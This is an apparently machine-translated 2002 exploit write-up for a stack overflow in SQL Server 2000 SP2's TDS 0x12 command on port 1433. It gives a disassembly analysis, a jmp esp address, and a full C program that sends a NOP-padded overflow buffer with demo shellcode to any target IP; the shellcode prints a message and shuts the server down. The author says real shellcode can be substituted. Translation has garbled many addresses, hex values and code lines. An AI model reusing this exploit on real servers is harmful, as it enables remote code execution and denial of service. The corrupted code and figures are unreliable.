SQL Server 2000 sp2 12 Command overflow attack implementation
Author: flashsky
Home: http://www.xfocus.net
Date: 2002-11-01
Note: Please indicate the author and security focus for reprinting.
For the first study on overflow, please correct me.
I have been instructed by isno since the last time. I have used the compilation to read the SQL server code and found that the SQL Server 1433 TDS protocol contains the 0x12 command (request verification) there is an overflow problem. Keeping up with more than 572 bytes after MSSQLServer at the end of the transfer will cause overflow. I was overjoyed, but I learned from the last lesson and found that the vulnerability was announced on July 6, August 12. Ah
However, at first glance, the announcement Code only indicates overflow, but does not implement overflow. It is very troublesome to implement this overflow, involving many problems:
The following is a compilation code analysis:
General process for receiving information earlier:
Request
Text: 004de099 call sub_410e22
. Text: 0020.ed3 call dword ptr [eax + 14 H]
Call ssnetlib to obtain information about the arrival of asynchronous socket
42cf42f2: connect and receive information
. Text: 0020.ed6 add ESP, 18 h
Process Data:
Call at 42cf719e. The next return address should be 42cf71a3. Overflow means to overwrite this return address.
Overflow occurs on strcpy at 42cf72cf.
However, the problem is that the strcpy copy address is 572 bytes away from the 42cf71a3 address, and many other variables have pointers, in this sub-process, the sub-process will continue to reference them, so it will cause access violations and be caught directly by exceptions, rather than code execution. The process is a loop execution process, it will lead to complicated computing.
The Code involved in continuing to reference the overwrite address value includes:
. Text: 42cf73d9 mov edX, [EBP + var_4]
. Text: 42cf73dc add edX, 5
. Text: 42cf73df mov [EBP + var_4], EDX
. Text: 42cf00003 mov edX, [EBP + arg_4]
. Text: 42cf00006 add edX, [EBP + var_4]
. Text: 42cf00009 XOR eax, eax
. Text: 42cf1_ B mov Al, [edX]
. Text: 42cf0000d mov [EBP + var_14], eax
. Text: 42cf7270 mov ECx, [EBP + arg_4]
. Text: 42cf7320 mov [EBP + var_224], ECx
. Text: 42cf7326 mov edX, [EBP + arg_0]
. Text: 42cf7329 mov eax, [EBP + var_224]
. Text: 42cf732f mov ECx, [eax]
We can find that the above values mainly involve
Overwrite address-8
Overwrite address + 4
Overwrite address + 8
Overwrite address + c
Overwrite address + 10
Overwrite address + 14
These addresses are mainly write operations.
In addition, if you want to override address-4 and overwrite address + 4, you can perform an add operation. The address range of the operation should also be read/write.
Therefore, it is easy to think that using the address of a Data zone allocated by SQL Server to retrieve the data zone will not cause exceptions. It is better to overwrite the value of address-4 around 0xffffffff, and add this value to other addresses within the same data zone. The problem is not to overwrite address + 4, to overwrite address + 8, to overwrite address + C, to overwrite address + 10, to overwrite address + 14, you must carefully select, after jmp esp is jumped back, it is executed from the address to overwrite + 4, and its assembly code should not cause exceptions or jump to other places, otherwise, we will not be able to execute the shellcode that we can actually implement.
In addition, if shellcode is all put to overwrite the address + 18 and then executed, the value may be used in the same process. Therefore, it is best to put shellcode in front, after overwriting address + 18, jump back with a small amount of code to avoid exceptions caused by a large number of overwriting.
In addition, it is the choice of jmp esp code. In fact, different server versions have different addresses, but I want to find better in SQL Server Code itself. As long as there is an ffe4 number, whether it is the jmp esp code or not, shellcode can be simpler and more common. Take a closer look, there is a combination in SQL Server, the location is at 42b0c9dc. OK, then the main problem will be solved.
My environment is: SQL Server 2000 + SP2 + the latest q36 that supplemented the SQL Server UDP vulnerability.
The following is the Demo code. The actual shellcode is not implemented, but a line of SQL hack demo is printed and the SQL Server server is discarded, in fact, you only need to replace the Code with shellcode. Of course, you need to consider the size of the Code. If you leave it behind, you can ignore the size, but it may cause some exceptions. I did not debug it carefully, the license length is about 500 bytes, and shellcode should be enough.
When you run sqlsvrer in cmd, you can see the printed SQL hack demo characters, and when the SQL command is run, if it is started by a service or management tool, you cannot print the SQL hack demo, however, the SQL statement will be executed. Note that it is not caused by exceptions, but by executing the exit command of shellcode.
# Include <process. h>
# Include <string. h>
# Include <stdio. h>
# Include <winsock2.h>
# Include <windows. h>
# Include <WINBASE. h>
Int main (INT argc, char * argv [])
{
Wsadata;
Socket sock;
Sockaddr_in addr_in;
Unsigned char buf0 [48 + 572] = {
0 x, 0, 0 x, 0, 0, 0, 0, 0, 0 x, 6, 1, 0, 0x1b,
0, 0, 0x1c, 0, 0xc, 3, 0, 0x28, 0, 4, 0xff, 8, 0, 2,
0 x, 0, 0, 0x4d, 0 x, 0x51, 0x4c, 0 x, 0 x, 0 x, 0x10, 4 };
Unsigned char buf1 [255] = {10, 9, 8, 7, 6, 5, 0 };
Char exploit_code [21] = "/x83/xc4/x81/x8b/xc4/x50/xFF/x15/xf8/xe0/xcf/x42"
"/X33/xc0/x50/xFF/x15/x84/xe0/xcf/x42 ";
// Print "SQL hack Demo" and exit the shellcode of SQL Server.
Int I;
Int Len;
Const int sndbuf = 0;
Const int tcpnodelay = true;
Const int broadcast = true;
Int fo = 572; // return address offset to be overwritten
If (argc <2)
{
Return false;
}
For (I = 0x34; I <584; I ++)
Buf0 [I] = 0x90;
// Demonstrates the printed string
Buf0 [0x34 + 0x10] ='s ';
Buf0 [0x34 + 0x11] = 'q ';
Buf0 [0x34 + 0x12] = 'l ';
Buf0 [0x34 + 0x13] = '';
Buf0 [0x34 + 0x14] = 'H ';
Buf0 [0x34 + 0x15] = 'a ';
Buf0 [0x34 + 0x16] = 'C ';
Buf0 [0x34 + 0x17] = 'K ';
Buf0 [0x34 + 0x18] = '';
Buf0 [0x34 + 0x19] = 'D ';
Buf0 [0x34 + 0x1a] = 'E ';
Buf0 [0x34 + 0x1b] = 'M ';
Buf0 [0x34 + 0x1c] = 'O ';
Buf0 [0x34 + 0x1d] = '/N ';
// Prevent data changes from causing exceptions and exit without achieving effective overflow. Therefore, modify the data effectively.
Buf0 [fo-0x8] = 0xff;
Buf0 [fo-0x7] = 0xff;
Buf0 [fo-0x6] = 0xff;
Buf0 [fo-0x5] = 0xff;
// 42d01cfc is a fixed data area of SQL Server, and its assembly code does not cause problems
Buf0 [fo + 4] = 0xfc;
Buf0 [fo + 5] = 0x1c;
Buf0 [fo + 6] = 0xd0;
Buf0 [fo + 7] = 0x42;
// 42d01c72 can be written only when it is a fixed data area
Buf0 [fo + 8] = 0x64;
Buf0 [fo + 9] = 0x0d;
Buf0 [fo + 0xa] = 0xd0;
Buf0 [fo + 0xb] = 0x42;
// 42d01cfc can be written only when it is a fixed data area
Buf0 [fo + 0xc] = 0xfc;
Buf0 [fo + 0xd] = 0x1c;
Buf0 [fo + 0xe] = 0xd0;
Buf0 [fo + 0xf] = 0x42;
// 42d01c72 can be written only when it is a fixed data area
Buf0 [fo + 0x10] = 0x64;
Buf0 [fo + 0x11] = 0x0d;
Buf0 [fo + 0x12] = 0xd0;
Buf0 [fo + 0x13] = 0x42;
// 42d01c72 can be written only when it is a fixed data area
Buf0 [fo + 0x14] = 0x64;
Buf0 [fo + 0x15] = 0x0d;
Buf0 [fo + 0x16] = 0xd0;
Buf0 [fo + 0x17] = 0x42;
// After the return address is exceeded, because N of the codes need to be returned and redirected, and the data address needs to be processed in the subfunction, at the same time, the Assembly Code does not cause access exceptions.
// Then the following addresses are not required in this process, so we can boldly change them to the assembly code we need.
// Write the code buf0 [fo + 0xc] = 0x42;
Buf0 [fo + 0x18] = 0x81;
// Add ESP, 0xffffff92
Buf0 [fo + 0x19] = 0x83;
Buf0 [fo + 0x1a] = 0xc4;
Buf0 [fo + 0x1b] = 0x81;
// Add ESP, 0xffffff92
Buf0 [fo + 0x1c] = 0x83;
Buf0 [fo + 0x1d] = 0xc4;
Buf0 [fo + 0x1e] = 0x81;
// Add ESP, 0xffffff92
Buf0 [fo + 0x1f] = 0x83;
Buf0 [fo + 0x20] = 0xc4;
Buf0 [fo + 0x21] = 0x81;
// JMP ESP
Buf0 [fo + 0x22] = 0xff;
Buf0 [fo + 0x23] = 0xe4;
// The above code is executed after the overflow is returned. because the main shellcode is in front of the code, you need to jump back.
// The reason for not directly following the Code is that overwriting some variables will lead to an address access exception in advance, leading to the failure to execute the code we want.
Memcpy (buf0 + fo-8-364, exploit_code, 21 );
// Copy shellcode
// Ffe4 = JMP ESP
// Set the overflow address value. 42b0c9dc is the ffe4 part of SQL server code.
Buf0 [fO] = 0xdc;
Buf0 [fo + 1] = 0xc9;
Buf0 [fo + 2] = 0xb0;
Buf0 [fo + 3] = 0x42;
// You Need To Find The jmp esp Code. However, this Code varies with the version, so you can simply find it in the SQL server program.
If (wsastartup (makeword (2, 0), & wsadata )! = 0)
{
Printf ("wsastartup error. Error: % d/N", wsagetlasterror ());
Return false;
}
If (sock = socket (af_inet, sock_stream, ipproto_tcp) = invalid_socket)
{
Printf ("socket failed. Error: % d/N", wsagetlasterror ());
Return false;
}
Addr_in.sin_family = af_inet;
Addr_in.sin_port = htons (0, 1433 );
Addr_in.sin_addr.s_un.s_addr = inet_addr (argv [1]);
Buf0 [1] = 1;
If (wsaconnect (sock, (struct sockaddr *) & addr_in, sizeof (addr_in), null) = socket_error)
{
Printf ("Connect failed. Error: % d", wsagetlasterror ());
Return false;
}
If (send (sock, buf0, sizeof (buf0), 0) = socket_error)
{
Printf ("Send failed. Error: % d/N", wsagetlasterror ());
Return false;
}
Len = Recv (sock, buf1. 255, null );
For (I = 0; I <Len; I ++)
{
Printf ("% 02x", buf1 [I]);
If (I % 16 = 15)
Printf ("/N ");
}
Printf ("/N ");
Buf0 [0] = 0x10;
If (send (sock, buf0, sizeof (buf0), 0) = socket_error)
{
Printf ("Send failed. Error: % d/N", wsagetlasterror ());
Return false;
}
Wsacleanup ();
Return 0;
}